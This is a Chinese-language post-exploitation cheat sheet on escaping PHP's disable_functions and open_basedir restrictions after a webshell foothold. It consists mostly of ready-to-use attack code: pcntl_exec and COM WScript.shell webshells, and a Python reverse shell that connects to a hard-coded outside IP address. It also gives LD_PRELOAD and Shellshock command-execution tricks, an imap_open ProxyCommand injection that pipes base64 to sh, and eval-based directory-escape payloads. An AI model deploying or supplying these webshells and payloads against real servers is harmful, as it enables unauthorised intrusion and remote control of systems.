开箱即用的参考文档

https://whoamianony.top/2021/03/13/Web%E5%AE%89%E5%85%A8/Bypass%20Disable_functions
https://xz.aliyun.com/t/10057

PHP7和PHP5上的安全区别 php绕过命令执行
https://www.cnblogs.com/BOHB-yunying/p/11706255.html

找到没禁用的命令

  1. 简单:eval assert system passthru pcntl_exec popen proc_open shell_exec exec preg_replace putenv()
  2. disable_function禁用的函数
  3. passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,
  4. popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,putenv
  1. pcntl_execlinux下的一个扩展,三个常用的shell
  2. <?php
  3. pcntl_exec($_GET["cmd"], $_GET["args"]);
  4. <?php
  5. if(function_exists('pcntl_exec')) {
  6. pcntl_exec("/bin/bash", array("/tmp/test.sh"));
  7. } else {
  8. echo 'pcntl extension is not support!';
  9. }
  10. ?>
  11. <?php pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("132.232.75.90",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));

1、曲线救国绕过

PHP搭建一个正向的代理,然后找到他的数据库连接密码,使用UDF提权或者找到MSSQL数据库来执行命令(可以利用mdut.jar一把梭)
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

2、Windows上,利用COM组件执行命令

  1. <?php
  2. $command=$_REQUEST['cmd'];
  3. $wsh = new COM('WScript.shell');
  4. $exec = $wsh->exec("cmd /c ".$command);
  5. $stdout = $exec->StdOut();
  6. $stroutput = $stdout->ReadAll();
  7. echo $stroutput;
  8. ?>
  1. <?php
  2. $wsh = isset($_GET['wsh']) ? $_GET['wsh'] : 'wscript';
  3. if($wsh == 'wscript') {
  4. $command = $_GET['cmd'];
  5. $wshit = new COM('WScript.shell') or die("Create Wscript.Shell Failed!");
  6. $exec = $wshit->exec("cmd /c".$command);
  7. $stdout = $exec->StdOut();
  8. $stroutput = $stdout->ReadAll();
  9. echo $stroutput;
  10. }
  11. elseif($wsh == 'application') {
  12. $command = $_GET['cmd'];
  13. $wshit = new COM("Shell.Application") or die("Shell.Application Failed!");
  14. $exec = $wshit->ShellExecute("cmd","/c ".$command);
  15. }
  16. else {
  17. echo(0);
  18. }
  19. ?>

com.allow_dcom为0也成功了—— 5.2.17 成功,其他版本都失败了

image.png image.png

高版本——5.3.29或其他较高版本需要往php.ini里写入 extension=php_com_dotnet.dll
7.x版本也是如此,写入extension=php_com_dotnet.dll 即可执行命令,否则报错
image.png

哥斯拉的bypass disable_function

image.png

1、php-json-bypass

利用 Json Serializer UAF
利用条件

  • Linux 操作系统
  • PHP7.1 - all versions to date
  • PHP7.2 < 7.2.19 (released: 30 May 2019)
  • PHP7.3 < 7.3.6 (released: 30 May 2019)

2、php7-backtrace-bypass

利用Backtrace UAF
利用条件

  • Linux 操作系统
  • PHP7.0 - all versions to date
  • PHP7.1 - all versions to date
  • PHP7.2 - all versions to date
  • PHP7.3 < 7.3.15 (released 20 Feb 2020)
  • PHP7.4 < 7.4.3 (released 20 Feb 2020)

3、php-gc-bypass

利用 GC UAF
利用条件

  • Linux 操作系统
  • PHP7.0 - all versions to date
  • PHP7.1 - all versions to date
  • PHP7.2 - all versions to date
  • PHP7.3 - all versions to date

4、PHP7版本bypass

https://github.com/mm0r1/exploits是基于拿到webshell后的命令执行操作,因为可能存在封禁执行函数。这里讨论php的

蚁剑bypass_disablefunction

image.png

1、LD_PRELOAD

条件:
1、linux 服务器
2、能够上传so文件
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
可用项目中现成的so也可以如下编译

  1. # x64
  2. gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
  3. # x86
  4. gcc -shared -m32 -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so

将php和so都上传到目标服务器后,访问如下即可执行命令

  1. http://x.x.x.x/bypass_disablefunc.php?cmd=id&outpath=/var/www/html/xxx&sopath=/var/www/html/bypass_disablefunc_x64.so

建议outpath和sopath同个目录,防止outpath没权限写,或者找到上传文件的目录,肯定有权限写的。
然后不推荐有GET,可以改成POST提交更安全。

2、fastCGI/PHP_FPM

  • Linux 操作系统(?但是蚁剑也支持windows)
  • PHP-FPM
  • 存在可写的目录, 需要上传 .so 文件

phpinfo搜索Server API CGI/FastCGI
需要修改IP:端口
image.png

3、利用 Apache Mod CGI

利用条件:

  • Apache + PHP (apache 使用 apache_mod_php)
  • Apache 开启了 cgi, rewrite
  • Web 目录给了 AllowOverride 权限
  • Linux操作系统

https://blog.csdn.net/weixin_39983051/article/details/112521223

456、同哥斯拉的php7 bypassdisable

7、FFI绕过

条件比较苛刻
需要php 版本大于7.4
需要开启ffi.enable(能够使PHP调用C)

8、ICONV

利用条件
Linux操作系统
putenv可使用
支持iconv扩展
存在可写的目录,
需要上传 .so 文件

https://blog.csdn.net/qq_42303523/article/details/117911859

其他

1、破壳漏洞

利用条件
php < 5.6.2
bash <= 4.3(破壳漏洞)

  1. <?php
  2. function shellshock($cmd) {
  3. $tmp = tempnam(".","data");
  4. putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
  5. error_log('a',1);
  6. $output = @file_get_contents($tmp);
  7. @unlink($tmp);
  8. if($output != "") return $output;
  9. else return "No output, or not vuln.";
  10. }
  11. echo shellshock($_REQUEST["cmd"]);
  12. ?>

2、imap_open

利用条件
需要开启imap_open扩展
phpinfo搜索imap

  1. <?php
  2. error_reporting(0);
  3. if (!function_exists('imap_open')) {
  4. die("no imap_open function!");
  5. }
  6. $server = "x -oProxyCommand=echot" . base64_encode($_GET['cmd'] .
  7. ">/tmp/cmd_result") . "|base64t-d|sh}";
  8. //$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] .
  9. ">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
  10. imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or
  11. var_dump("nnError: ".imap_last_error());
  12. sleep(5);
  13. echo file_get_contents("/tmp/cmd_result");
  14. ?>

3、利用ImageMagick 漏洞绕过(CVE-2016–3714)

利用条件:

  • 目标主机安装了漏洞版本的imagemagick(<= 3.3.0)
  • 安装了php-imagick拓展并在php.ini中启用;
  • 编写php通过new Imagick对象的方式来处理图片等格式文件;
  • PHP >= 5.4

phpinfo搜索imagick

open_basedir绕过

https://xz.aliyun.com/t/10070

open_basedir将用户可操作的文件限制在某目录下绕过
绕过方式:
linux下绕过:https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html

1、利用DirectoryIterator + Glob 直接列举目录(linux)
2、realpath列举目录
利用realpath对传入路径的回显不同加上通配符进行列举。本地环境linux就没有进行测试。

  1. <?php
  2. ini_set('open_basedir', dirname(__FILE__));
  3. printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
  4. set_error_handler('isexists');
  5. $dir = 'D:/';
  6. $file = '';
  7. $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
  8. for ($i=0; $i < strlen($chars); $i++) {
  9. $file = $dir . $chars[$i] . '<><';
  10. realpath($file);
  11. }
  12. function isexists($errno, $errstr)
  13. {
  14. $regexp = '/File\((.*)\) is not within/';
  15. preg_match($regexp, $errstr, $matches);
  16. if (isset($matches[1])) {
  17. printf("%s <br/>", $matches[1]);
  18. }
  19. }
  20. ?>

首先设置open_basedir为当前目录,并枚举d:/test/目录下的所有文件。将错误处理交给isexists函数,在isexists函数中匹配出目录名称,并打印出来。

利用glob绕过

  1. <?php
  2. printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
  3. $file_list = array();
  4. // normal files
  5. $it = new DirectoryIterator("glob:///*");
  6. foreach($it as $f) {
  7. $file_list[] = $f->__toString();
  8. }
  9. // special files (starting with a dot(.))
  10. $it = new DirectoryIterator("glob:///.*");
  11. foreach($it as $f) {
  12. $file_list[] = $f->__toString();
  13. }
  14. sort($file_list);
  15. foreach($file_list as $f){
  16. echo "{$f}<br/>";
  17. }
  18. ?>

image.png

linux下挺好用的

  1. <?php
  2. echo 'open_basedir: '.ini_get('open_basedir').'<br>';
  3. echo 'GET: '.$_GET['c'].'<br>';
  4. eval($_GET['c']);
  5. echo 'open_basedir: '.ini_get('open_basedir');
  6. ?>

http://127.0.0.1/2.php?c=mkdir(%27sub%27);chdir(%27sub%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir(%27.%27));;chdir(%27sub%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir(%27.%27));)